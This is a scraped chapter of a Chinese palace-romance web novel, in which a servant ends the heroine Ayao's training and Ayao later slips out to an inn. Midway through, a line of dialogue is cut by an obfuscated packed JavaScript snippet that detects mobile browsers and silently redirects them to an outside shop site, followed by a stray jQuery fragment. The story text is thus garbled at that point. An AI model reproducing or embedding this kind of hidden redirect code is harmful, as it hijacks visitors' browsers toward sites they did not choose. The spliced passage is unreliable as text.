文趣网 > 其他小说 > 妾心杳杳 > 17. 第17章
    徐徐微风吹进院内,廊下悬挂的竹帘翻涌晃动。

    应胥同常嬷嬷正在屋内,此刻正说着话。

    芸袖问旁边随安:“我昨夜瞧院内多了个箱子,是你让人搬的。”

    “殿下的吩咐。”

    箱子里不知道装着什么,封闭保存了起来,芸袖知道不应该多嘴,可想了想还是问。

    “你陪在殿下身边,这几日都在做什么。”随安不说话,她又道:“怎么,连我都不能告诉?”

    “当然不是。”随安说:“反正你很快就会知道了。”

    “嬷嬷什么时候到的。”屋内,应胥声音淡漠,端起桌上的茶盏,长指拈着盏顶漫不经心刮过漂浮在杯口的茶叶。

    “刚到不久,老奴才进院子,随后便看见殿下了。”常嬷嬷笑着,边说边把捧在怀中的木匣子放到桌面。

    应胥没有抬头。

    “这是阿杳姑娘这几日誊抄所写的经文,殿下最近忙着处理事情,老奴思来想去还是不要打扰为好,自作主张了次,倒是……晚了这么久才禀告。”

    一语落罢,常嬷嬷也安静下来,仔细观察应胥反应,未见神情有丝毫波动。

    这些天动静闹得说大不大,说小也不小,府内上下该是全部听得了的。

    昨夜殿下又去了那狐媚子房内,什么情形当是也瞧见了,不会出现她思量中有所纰漏之事。

    “殿下不打开瞧瞧。”她问。

    却是听应胥道:“嬷嬷不是看过了。”

    低头喝了口茶,瓷盏碰到桌面,发出一记细微的响,清晰传到耳内。

    无甚波澜的一句,包含意味上千万种,然而在宫中侍奉多年的常嬷嬷却知晓,这是应胥对某一件事失了耐心的前兆,也便代表此事在应胥看来并非重要到非要再继续说下去不可。

    不必再说,也就不值得多么上心。

    即便如此,心中还是不免咯噔一声,常嬷嬷抬起眼帘,未在应胥面上察觉出什么动怒的痕迹。

    一个惯会使低劣手段的青楼女子,若不是生了那么遭变故,还需留她遮掩一二,想来殿下根本不会愿意同她会扯上关系。

    是了,这么一想,一切便全然都能说得通了。

    属实是她多虑了,根本不可能会有的事,她不该担忧。

    果然,下一瞬便听应胥开了口,命她近几日再将府里的人数清点一下。

    常嬷嬷顿时明白了什么,压下心中惊愕,颔首称是,走上前,伸手就要拿起那个方才被自己放在桌面的木匣子,却在此时,忽听应胥开了口。

    *

    一连几日晴朗,一改先前乌云密布的阴沉,虽早晚雾气多有厚重,难得的好天气还是让众人心情大好。

    阿杳坐在屋内的木椅上,春桃正小心翼翼为她上着药。

    阿杳的手腕发红,一碰就痛,两日前郎中入府问诊瞧过,留下建议好好休息,给了药膏和方子便走了。

    这两样东西春桃倒是都能看懂,多出来那枚鸳鸯扣却不知道是什么,以为是郎中不小心落的,拿给阿杳看过,只能暂时先收了起来,下次复诊时再还回去。

    药膏冰凉,敷在手腕上果然舒服许多,春桃轻轻吹着气,满脸心疼:“姑娘可觉得好些了。”

    见阿杳点头,春桃心放下些,还是有点幽怨:“姑娘手都这样了,也不知道今日能不能提前结束些。”

    提起这个,心中却不免想起应胥回到府内的事,那日殿下分明瞧见了的,怎么会呢,事情为什么和她想得不一样。

    目光不由得瞥向候在门外的两名丫鬟,两人都是常嬷嬷身边的人,美名其曰是前来教授规矩的,按春桃的想法来讲,日日来回跑这许多躺,也真是不嫌累。

    其中以站在她们中间之人更为尤甚。

    “应当快了吧。”阿杳道,说话的同时,垂低的视线落在木盘内的鸳鸯扣上。

    其实就是两条枝叶缠在一起,远远瞧上去像鸳鸯的形状,春桃也瞧见了:“还挺漂亮呢。”

    言毕,却见阿杳盯着某个地方瞧,扭头看去,便看见了不远处的常嬷嬷。

    芸袖候在檐下,闻声,快步朝常嬷嬷那边迎去。

    常嬷嬷今日晚到的不是一星半点,面容肃穆,连芸袖到跟前唤了一声,也不见人应。

    看着常嬷嬷异常冷漠的背影,芸袖原地顿了片刻,低下头若有所思。

    常嬷嬷扫过阿杳手旁已经叠了略有厚度的一塌纸,同阿杳静静抬睫望来的视线对上。

    而今朝堂内外动荡,东宫却仍然子嗣单薄,一无所出,因着此事,皇后娘娘里里外外已然操碎了心,殿下如今起了心思,肯开枝散叶未尝不是件好事。

    可惜,是个有心机的。

    “恭喜姑娘了。”

    没头没尾的一句,让屋内众人皆是一头雾水。

    “嬷嬷的意思是?”

    迎上阿杳不解的目光,常嬷嬷如常颔首,微微躬身道:“老奴今日来,就是为了告诉姑娘,从今日起,您就不必再练这些了,日后如何,和以前一样便好。”

    紧接着,便唤来屋外那两个丫鬟,两人听命带着人将搬来梨安苑的那些东西全都收了,一群人跟在常嬷嬷身后不一会儿便离了去。

    “这……就走了?”春桃晕头转向,被突如其来的一场变故弄得不知所措,甚至有些不敢相信。

    回去的路上,众人相视互看几眼,不约而同默默低下头,事情来得实在突然,让他们没有半分准备。

    芸袖觉得事情有些不对,却又说不上来到底不对在何处,目光看向一路沉默无言的常嬷嬷。

    问:“嬷嬷,奴婢不明白,为什么会这么忽然。”

    不清不楚的,总要有一个理由,常嬷嬷脚步不停未有回答的意思,不对,很不对,这一切都太不正常了,准确来说似乎就是从那日开始。

    急迫想要寻得缘由的念头高涨压过界限占据上风:“那日我瞧见了,您原本要走的,可是殿下把您叫住了。”芸袖突然出声。

    常嬷嬷步伐微微一滞,忽然一道声音将众人叫住。

    转身看去,春桃从不远处跑了过来,在几步远处停下,指着外面阴沉的天色道:“下雨了,姑娘说不如等

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617701|205199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一会儿再走吧。”

    雨水萦绕淅淅沥沥,被冷空气裹挟打在屋檐下,沾湿一小片泥土。

    常嬷嬷一行人还未走远,站在檐廊之中,面对从早到晚没有一刻不是板着脸的常嬷嬷,春桃心中多多少少仍然有点发怵。

    说完这些话,低着头便离开了。

    哗哗声越来越大,水花迸溅四起没进尘埃,随天空一声雷鸣轰过,乌云密布,豆大雨点砸在地面。

    “要不我们等一会儿吧,说不定雨就停了呢。”

    “是呀嬷嬷,就等等吧,您那袖炉如果淋湿了可就用不了了。”

    见状,有人忍不住出声询问,下一瞬,凌厉的视线扫过,立刻止住嘴。

    常嬷嬷无动于衷,似乎根本没听到方才那段话,转身进了雨幕。

    春桃赶在这场暴雨前回到屋内,外面阴沉沉的,好在屋里点起了蜡烛,散发出淡淡凝黄的光,没了那些搬来搬去的东西,好不宽敞明亮。

    依照常嬷嬷铁面无私的性子断然是不会做出这种事的,春桃思来想去也再想不出第二个可能。

    是好事。

    她推开门,走进屋内。

    *

    突如其来的暴雨整整下了两天两夜,绵绵一场雨落下,秋日尘封的生机渐渐显现,下过雨的地面尤其难以清扫,叶子沾了水,湿哒哒抱成一团,像是黏在一起。

    芸袖这几日认真想了想,虽没有从常嬷嬷那里打听到什么,可还是感觉到事情的非比寻常,虽然心中十分清楚他们殿下绝不会对任何一个女子生出恻隐之心,还是隐隐有些不安。

    始终叫人留意着梨安苑那边的动静,终在这日等来了消息。

    竟然是阿杳偷偷离了府。

    “当真?”

    面对常嬷嬷的询问,芸袖立即道:“自然,奴婢是瞧清楚后才走的,春桃那个小宫女就跟在她身边,两个人出去后便往西边走了。”

    下人一来禀报,芸袖便过去了。

    芸袖:“嬷嬷您说,她们趁殿下不在偷偷溜出去是要做什么,我们用不用派人……”

    芸袖的担忧常嬷嬷是知道的,但并不这样想。

    “那些人都是殿下亲自挑选来的,你觉得她能瞧出些什么?”

    常嬷嬷不答反问,不是觉得阿杳一届女流之辈见识短浅,而是确信不会露出半分破绽之处。

    “不过,有一点你说得倒是没错。”

    常嬷嬷立身处事这么久,怎么会猜不透芸袖在想什么,只是想着,如若这样也好,惹了嫌弃,省去许多麻烦,何论日后到底如何,谁又说得准。

    避不可免又想到上次应胥说过的话,希望不是她想的那样。

    常嬷嬷沉思片刻:“此事我自有安排,你先去吧。”

    芸袖愣了下,但常嬷嬷决定的事向来不会改变,只一瞬,便收敛了思绪,低声道了句好。

    很快到达约定好的酒楼。

    小二引领下,阿杳走到二楼雅间门口。

    推开门,听得动静,里面坐着那人不但没有回头,反而不紧不慢吹了吹手中的茶水。